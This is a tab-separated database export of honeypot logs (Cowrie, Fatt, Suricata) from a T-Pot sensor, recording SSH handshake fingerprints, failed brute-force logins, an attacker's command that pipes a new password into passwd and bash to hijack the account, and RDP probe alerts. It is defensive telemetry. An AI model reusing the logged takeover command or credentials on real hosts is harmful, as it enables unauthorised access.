"smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35852, "timestamp": "2021-09-20T11:02:14.158791", "@timestamp": "2021-09-20T11:02:14.158Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20236	91.200.124.7	109.199.241.180	Fatt	2021-09-20 14:02:14.195394+03	2021-09-20 14:15:02.130643+03	{"_id": "zgXeAnwBvYTbRNuE5_Zz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 35852, "dest_port": 22, "timestamp": "2021-09-20T11:02:14.195394", "@timestamp": "2021-09-20T11:02:14.195Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20237	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:02:14.541336+03	2021-09-20 14:15:02.131616+03	{"_id": "zwXeAnwBvYTbRNuE5_Zz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.200.124.7", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35878, "timestamp": "2021-09-20T11:02:14.541336", "@timestamp": "2021-09-20T11:02:14.541Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20238	91.200.124.7	109.199.241.180	Fatt	2021-09-20 14:02:14.579282+03	2021-09-20 14:15:02.132613+03	{"_id": "0AXeAnwBvYTbRNuE5_Zz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 35878, "dest_port": 22, "timestamp": "2021-09-20T11:02:14.579282", "@timestamp": "2021-09-20T11:02:14.579Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20239	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:14.158097+03	2021-09-20 14:15:02.134642+03	{"_id": "0QXeAnwBvYTbRNuE5_Zz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "adb85be76cac", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:02:14.158097Z", "@timestamp": "2021-09-20T11:02:14.158Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20240	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:14.196016+03	2021-09-20 14:15:02.135643+03	{"_id": "0gXeAnwBvYTbRNuE5_Zz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:14.196016Z", "@timestamp": "2021-09-20T11:02:14.196Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20242	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:14.539201+03	2021-09-20 14:15:02.137643+03	{"_id": "1AXeAnwBvYTbRNuE5_Zz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "73c0b18a98a4", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:02:14.539201Z", "@timestamp": "2021-09-20T11:02:14.539Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20243	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:14.579845+03	2021-09-20 14:15:02.138614+03	{"_id": "1QXeAnwBvYTbRNuE5_Zz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "73c0b18a98a4", "@version": "1", "timestamp": "2021-09-20T11:02:14.579845Z", "@timestamp": "2021-09-20T11:02:14.579Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20244	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:14.834446+03	2021-09-20 14:15:02.140614+03	{"_id": "1gXeAnwBvYTbRNuE5_Zz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "73c0b18a98a4", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:02:14.834446Z", "@timestamp": "2021-09-20T11:02:14.834Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20245	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:15.87926+03	2021-09-20 14:15:02.141614+03	{"_id": "1wXeAnwBvYTbRNuE6_YC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "73c0b18a98a4", "@version": "1", "duration": 1.3403403759002686, "timestamp": "2021-09-20T11:02:15.879260Z", "@timestamp": "2021-09-20T11:02:15.879Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20246	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:16.456622+03	2021-09-20 14:15:02.142615+03	{"_id": "5AXeAnwBvYTbRNuE7vbt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "echo -e \\"subhana\\\\n5SzgPOOxjqw9\\\\n5SzgPOOxjqw9\\"|passwd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: echo -e \\"subhana\\\\n5SzgPOOxjqw9\\\\n5SzgPOOxjqw9\\"|passwd|bash", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:16.456622Z", "@timestamp": "2021-09-20T11:02:16.456Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20247	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:16.457444+03	2021-09-20 14:15:02.143614+03	{"_id": "5gXeAnwBvYTbRNuE7vbt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "Enter new UNIX password: ", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: Enter new UNIX password: ", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:16.457444Z", "@timestamp": "2021-09-20T11:02:16.457Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20248	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:16.713953+03	2021-09-20 14:15:02.144613+03	{"_id": "3gXeAnwBvYTbRNuE7vbt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:16.713953Z", "@timestamp": "2021-09-20T11:02:16.713Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20249	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:16.533906+03	2021-09-20 14:15:02.146629+03	{"_id": "6QXeAnwBvYTbRNuE7vbt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 32, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "c15639da4c49e07b37b4c3d95c0e3796175fc5bc492461df77b62237520c2139", "src_ip": "91.200.124.7", "ttylog": "log/tty/c15639da4c49e07b37b4c3d95c0e3796175fc5bc492461df77b62237520c2139", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/c15639da4c49e07b37b4c3d95c0e3796175fc5bc492461df77b62237520c2139 after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.07794070243835449, "duplicate": false, "timestamp": "2021-09-20T11:02:16.533906Z", "@timestamp": "2021-09-20T11:02:16.533Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20250	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:02:17.646335+03	2021-09-20 14:15:02.147613+03	{"_id": "7AXeAnwBvYTbRNuE8vYI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:02:17.576520+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 429915123600392, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 11230, "dest_port": 3389, "timestamp": "2021-09-20T11:02:17.646335Z", "@timestamp": "2021-09-20T11:02:17.646Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
20251	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:02:17.646335+03	2021-09-20 14:15:02.148614+03	{"_id": "7QXeAnwBvYTbRNuE8vYI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:02:17.576520+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 429915123600392, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 11230, "dest_port": 3389, "timestamp": "2021-09-20T11:02:17.646335Z", "@timestamp": "2021-09-20T11:02:17.646Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
